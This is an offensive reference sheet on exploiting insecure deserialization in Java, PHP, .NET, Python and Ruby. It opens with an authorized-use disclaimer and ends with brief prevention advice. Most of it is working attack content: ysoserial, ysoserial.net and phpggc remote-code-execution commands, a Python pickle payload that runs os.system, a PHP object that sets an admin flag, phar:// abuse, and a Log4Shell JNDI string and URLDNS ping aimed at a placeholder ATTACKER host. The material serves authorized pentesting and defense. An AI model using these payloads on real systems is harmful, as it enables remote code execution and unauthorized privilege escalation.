INSECURE-DESERIALIZATION
Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.
Identifying and exploiting unsafe deserialization across Java, PHP, .NET, Python and Ruby. Authorized testing only.
IDENTIFY THE FORMAT#
Java: starts with AC ED 00 05 (hex) / rO0AB (base64) PHP: O:8:"stdClass":... a:... s:... b:... i:... .NET: AAEAAAD///// (BinaryFormatter, base64) / ViewState __VIEWSTATE Python: pickle - often base64; opcodes like ]q or } or c__main__ Ruby: Marshal - "\x04\x08" prefix / YAML !ruby/object Node: node-serialize - _$$ND_FUNC$$_
WHERE TO LOOK#
Cookies / session tokens, hidden form fields, __VIEWSTATE,
API bodies, message queues, cache entries, JWT-like blobs that
base64-decode to serialized data.
PHP#
Magic methods that fire on deserialize: __wakeup, __destruct,
__toString, __call. Build a POP chain from classes in scope.
O:4:"User":2:{s:4:"name";s:5:"admin";s:7:"isAdmin";b:1;}
# phar:// deserialization: metadata is unserialized on file ops
phar://uploaded.jpg/x # with crafted phar metadata
Tooling: PHPGGC (gadget chain generator)
phpggc Monolog/RCE1 system id -b
phpggc -l # list known chains
JAVA#
Vulnerable sinks: ObjectInputStream.readObject on untrusted data,
JMX/RMI, JNDI lookups, some JSON libs with default typing.
ysoserial - classic gadget chains:
java -jar ysoserial.jar CommonsCollections6 'id' | base64
java -jar ysoserial.jar URLDNS 'http://ATTACKER' # detection ping
# Common gadgets: CommonsCollections1-7, CommonsBeanutils1, Spring1/2
Log4Shell-style JNDI (if reachable): ${jndi:ldap://ATTACKER/x}
marshalsec to stand up a malicious LDAP/RMI server.
.NET#
Dangerous: BinaryFormatter, LosFormatter, ObjectStateFormatter,
Json.NET TypeNameHandling.All, ViewState without MAC.
ysoserial.net -g TypeConfuseDelegate -f BinaryFormatter -c "calc"
# ViewState (needs machineKey or MAC disabled):
ysoserial.net -p ViewState -g TextFormattingRunProperties \
-c "cmd" --generator=<hash> --validationkey=<key> --validationalg=SHA1
PYTHON (pickle)#
import pickle, os, base64
class E:
def __reduce__(self):
return (os.system, ('id',))
print(base64.b64encode(pickle.dumps(E())).decode())
# Any pickle.loads on attacker data == RCE.
Also risky: yaml.load (use safe_load), jsonpickle, dill, shelve.
RUBY#
# Marshal.load / YAML.load on untrusted input.
# universal_gadget chains via ruby deserialization research.
YAML: !ruby/object:Gem::Requirement ...
DETECTION TIPS#
- URLDNS / DNS-callback gadgets confirm deserialization safely. - Flip a serialized boolean/role field and observe behavior. - Length/format changes causing 500s hint at a parser.
PREVENTION (blue side)#
- Don't deserialize untrusted data; prefer JSON with strict schemas. - Sign+MAC any serialized state; enable ViewState MAC. - Allowlist classes (ObjectInputFilter / SerializationBinder). - Use safe_load; patch libraries; disable default typing. See also: JWT-ATTACKS, API-SECURITY, OWASP-TOP10, PROTOTYPE-POLLUTION.